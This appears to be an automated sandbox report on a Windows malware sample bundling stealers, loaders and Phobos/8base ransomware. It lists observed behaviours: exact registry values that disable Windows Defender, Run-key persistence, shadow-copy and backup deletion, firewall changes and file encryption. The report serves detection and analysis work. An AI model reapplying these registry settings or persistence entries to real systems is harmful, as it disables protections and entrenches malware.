Malware Analysis Report

2024-10-23 19:40

Sample ID 230923-2kg7esce24
Target 427771632d2469e5a6157c4118b3b8e39913b78f9b630871c3822193ea8fc54a
SHA256 427771632d2469e5a6157c4118b3b8e39913b78f9b630871c3822193ea8fc54a
Tags
amadey healer phemedrone phobos redline rhadamanthys smokeloader nanya backdoor collection dropper evasion infostealer persistence ransomware spyware stealer trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

427771632d2469e5a6157c4118b3b8e39913b78f9b630871c3822193ea8fc54a

Threat Level: Known bad

The file 427771632d2469e5a6157c4118b3b8e39913b78f9b630871c3822193ea8fc54a was found to be: Known bad.

Malicious Activity Summary

amadey healer phemedrone phobos redline rhadamanthys smokeloader nanya backdoor collection dropper evasion infostealer persistence ransomware spyware stealer trojan

Rhadamanthys

Phobos

Healer

Phemedrone

RedLine payload

Modifies Windows Defender Real-time Protection settings

Suspicious use of NtCreateUserProcessOtherParentProcess

Detects Healer an antivirus disabler dropper

SmokeLoader

RedLine

Detect rhadamanthys stealer shellcode

Amadey

Renames multiple (94) files with added filename extension

Modifies boot configuration data using bcdedit

Deletes shadow copies

Deletes backup catalog

Downloads MZ/PE file

Modifies Windows Firewall

Reads user/profile data of web browsers

Loads dropped DLL

Executes dropped EXE

Checks computer location settings

Looks up external IP address via web service

Accesses Microsoft Outlook profiles

Drops desktop.ini file(s)

Adds Run key to start application

Suspicious use of SetThreadContext

Drops file in Program Files directory

Program crash

Enumerates physical storage devices

Unsigned PE

outlook_win_path

Uses Task Scheduler COM API

outlook_office_path

Uses Volume Shadow Copy service COM API

Suspicious behavior: MapViewOfSection

Interacts with shadow copies

Checks processor information in registry

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

Creates scheduled task(s)

Checks SCSI registry key(s)

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-09-23 22:38

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2023-09-23 22:38

Reported

2023-09-23 22:40

Platform

win10v2004-20230915-en

Max time kernel

85s

Max time network

155s

Command Line

C:\Windows\Explorer.EXE

Signatures

Amadey

trojan amadey

Detect rhadamanthys stealer shellcode

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Detects Healer an antivirus disabler dropper

Description Indicator Process Target
N/A N/A N/A N/A

Healer

dropper healer

Modifies Windows Defender Real-time Protection settings

evasion trojan
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A

Phemedrone

stealer phemedrone

Phobos

ransomware phobos

RedLine

infostealer redline

RedLine payload

Description Indicator Process Target
N/A N/A N/A N/A

Rhadamanthys

stealer rhadamanthys

SmokeLoader

trojan backdoor smokeloader

Suspicious use of NtCreateUserProcessOtherParentProcess

Description Indicator Process Target
PID 1584 created 3164 N/A C:\Users\Admin\AppData\Local\Temp\1000058001\rh111.exe C:\Windows\Explorer.EXE

Deletes shadow copies

ransomware

Modifies boot configuration data using bcdedit

ransomware evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\bcdedit.exe N/A
N/A N/A C:\Windows\system32\bcdedit.exe N/A

Renames multiple (94) files with added filename extension

ransomware

Deletes backup catalog

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\system32\wbadmin.exe N/A

Downloads MZ/PE file

Modifies Windows Firewall

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\netsh.exe N/A
N/A N/A C:\Windows\system32\netsh.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\t1809449.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explonde.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\u6996406.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\cb378487cf\legota.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\z1627700.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\z9404803.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\z8169226.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\z5523838.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\q7749930.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\r9059277.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\s9214653.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\t1809449.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explonde.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\u6996406.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cb378487cf\legota.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\w8481755.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000058001\rh111.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000058001\rh111.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\cb378487cf\legota.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explonde.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Microsoft\P9%fI]5.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Microsoft\P9%fI]5.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\19B8.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1B30.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\19B8.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1F09.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\210E.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\2351.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A

Reads user/profile data of web browsers

spyware stealer

Accesses Microsoft Outlook profiles

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook C:\Windows\system32\certreq.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook C:\Windows\system32\certreq.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook C:\Windows\system32\certreq.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Software\Microsoft\Office\10.0\Outlook\Profiles\Outlook C:\Windows\system32\certreq.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Software\Microsoft\Office\11.0\Outlook\Profiles\Outlook C:\Windows\system32\certreq.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Software\Microsoft\Office\12.0\Outlook\Profiles\Outlook C:\Windows\system32\certreq.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\427771632d2469e5a6157c4118b3b8e39913b78f9b630871c3822193ea8fc54a.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\z1627700.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\z9404803.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP003.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\z8169226.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup4 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP004.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\z5523838.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\25t8h = "C:\\Users\\Admin\\AppData\\Local\\25t8h.exe" C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\25t8h = "C:\\Users\\Admin\\AppData\\Local\\25t8h.exe" C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A

Drops desktop.ini file(s)

Description Indicator Process Target
File opened for modification C:\Program Files\Microsoft Office\root\Office16\1033\DataServices\DESKTOP.INI C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File opened for modification C:\$Recycle.Bin\S-1-5-21-1141987721-3945596982-3297311814-1000\desktop.ini C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File opened for modification F:\$RECYCLE.BIN\S-1-5-21-1141987721-3945596982-3297311814-1000\desktop.ini C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File opened for modification C:\Program Files\desktop.ini C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Drops file in Program Files directory

Description Indicator Process Target
File created C:\Program Files\Google\Chrome\Application\106.0.5249.119\Extensions\external_extensions.json.id[9CDE370C-3483].[[email protected]].8base C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\include\win32\bridge\AccessBridgeCalls.c C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\e4-dark.css C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\O365SmallBusPremR_Subscription3-pl.xrm-ms C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File created C:\Program Files\Microsoft Office\root\Licenses16\O365SmallBusPremR_Subscription5-ppd.xrm-ms.id[9CDE370C-3483].[[email protected]].8base C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File created C:\Program Files\Microsoft Office\root\Licenses16\ProPlusR_OEM_Perp4-ppd.xrm-ms.id[9CDE370C-3483].[[email protected]].8base C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File opened for modification C:\Program Files\Common Files\microsoft shared\ink\es-ES\InputPersonalization.exe.mui C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\license.html.id[9CDE370C-3483].[[email protected]].8base C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-host-remote_zh_CN.jar C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File created C:\Program Files\Microsoft Office\root\Licenses16\Professional2019R_Retail-ul-phn.xrm-ms.id[9CDE370C-3483].[[email protected]].8base C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\Publisher2019VL_MAK_AE-pl.xrm-ms C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\1033\IFDPINTL.DLL C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\epl-v10.html C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\META-INF\ECLIPSE_.SF.id[9CDE370C-3483].[[email protected]].8base C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\META-INF\MANIFEST.MF.id[9CDE370C-3483].[[email protected]].8base C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\resources.jar.id[9CDE370C-3483].[[email protected]].8base C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File created C:\Program Files\Microsoft Office\root\Licenses16\VisioPro2019VL_MAK_AE-ppd.xrm-ms.id[9CDE370C-3483].[[email protected]].8base C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\WordVL_MAK-ul-phn.xrm-ms C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-threaddump_ja.jar.id[9CDE370C-3483].[[email protected]].8base C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\fonts\LucidaBrightDemiBold.ttf C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File created C:\Program Files\Microsoft Office\root\Licenses16\ProjectPro2019VL_MAK_AE-ul-phn.xrm-ms.id[9CDE370C-3483].[[email protected]].8base C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\Access2019VL_KMS_Client_AE-ul-oob.xrm-ms C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\HomeBusinessPipcDemoR_BypassTrial365-ppd.xrm-ms C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\MondoR_O16EnterpriseVL_Bypass30-ppd.xrm-ms C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\META-INF\ECLIPSE_.RSA.id[9CDE370C-3483].[[email protected]].8base C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.security_1.2.0.v20130424-1801.jar.id[9CDE370C-3483].[[email protected]].8base C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\core\locale\org-openide-filesystems_ja.jar.id[9CDE370C-3483].[[email protected]].8base C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\bin\jp2native.dll C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Client\api-ms-win-crt-math-l1-1-0.dll C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\SkypeforBusiness2019R_Grace-ppd.xrm-ms C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File created C:\Program Files\Java\jdk1.8.0_66\db\3RDPARTY.id[9CDE370C-3483].[[email protected]].8base C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File created C:\Program Files\Java\jdk1.8.0_66\jre\bin\JAWTAccessBridge-64.dll.id[9CDE370C-3483].[[email protected]].8base C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-coredump_ja.jar.id[9CDE370C-3483].[[email protected]].8base C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProPlus2019R_Trial-ul-oob.xrm-ms C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\PublisherR_Trial-pl.xrm-ms C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\sq.txt C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.apache.batik.util_1.7.0.v201011041433.jar.id[9CDE370C-3483].[[email protected]].8base C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench.nl_ja_4.4.0.v20140623020002.jar C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-netbeans-api-progress.xml.id[9CDE370C-3483].[[email protected]].8base C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-netbeans-core-multitabs.xml C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\O365ProPlusE5R_SubTrial-ppd.xrm-ms C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\ProjectProCO365R_SubTest-ppd.xrm-ms C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File opened for modification C:\Program Files\7-Zip\Lang\zh-cn.txt C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\deploy\messages_de.properties C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.core.di_1.4.0.v20140414-1837.jar C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\lib\nbexec.exe C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-progress-ui_zh_CN.jar.id[9CDE370C-3483].[[email protected]].8base C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File created C:\Program Files\Microsoft Office\root\Licenses16\PublisherR_Retail-pl.xrm-ms.id[9CDE370C-3483].[[email protected]].8base C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.alert.zh_CN_5.5.0.165303.jar.id[9CDE370C-3483].[[email protected]].8base C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.flightrecorder.ui.ja_5.5.0.165303.jar.id[9CDE370C-3483].[[email protected]].8base C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\org-netbeans-core_visualvm.jar C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\AccessR_OEM_Perp-pl.xrm-ms C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File created C:\Program Files\Microsoft Office\root\Licenses16\Publisher2019R_Trial-ppd.xrm-ms.id[9CDE370C-3483].[[email protected]].8base C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File created C:\Program Files\Microsoft Office\root\Licenses16\Standard2019R_Retail-ul-oob.xrm-ms.id[9CDE370C-3483].[[email protected]].8base C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Office16\1033\DataServices\FOLDER.ICO C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\Century Gothic.xml C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File created C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.es-es.dll.id[9CDE370C-3483].[[email protected]].8base C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File opened for modification C:\Program Files\Common Files\microsoft shared\ink\ipsplk.xml C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\bin\jli.dll C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File created C:\Program Files\Java\jdk1.8.0_66\jre\lib\javafx.properties.id[9CDE370C-3483].[[email protected]].8base C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.swt.win32.win32.x86_64.nl_zh_4.4.0.v20140623020002.jar.id[9CDE370C-3483].[[email protected]].8base C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\StandardR_Retail-pl.xrm-ms C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File opened for modification C:\Program Files\Common Files\System\msadc\de-DE\msdaprsr.dll.mui C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
File opened for modification C:\Program Files\Common Files\System\msadc\en-US\msaddsr.dll.mui C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A

Enumerates physical storage devices

Checks SCSI registry key(s)

Description Indicator Process Target
Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Microsoft\P9%fI]5.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000 C:\Windows\System32\vds.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName C:\Windows\System32\vds.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000 C:\Windows\System32\vds.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName C:\Windows\System32\vds.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Microsoft\P9%fI]5.exe N/A
Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Microsoft\P9%fI]5.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Windows\system32\certreq.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Windows\system32\certreq.exe N/A

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A

Interacts with shadow copies

ransomware
Description Indicator Process Target
N/A N/A C:\Windows\system32\vssadmin.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000058001\rh111.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000058001\rh111.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000058001\rh111.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000058001\rh111.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000058001\rh111.exe N/A
N/A N/A C:\Windows\system32\certreq.exe N/A
N/A N/A C:\Windows\system32\certreq.exe N/A
N/A N/A C:\Windows\system32\certreq.exe N/A
N/A N/A C:\Windows\system32\certreq.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Microsoft\P9%fI]5.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Microsoft\P9%fI]5.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Microsoft\P9%fI]5.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Microsoft\25t8h.exe N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
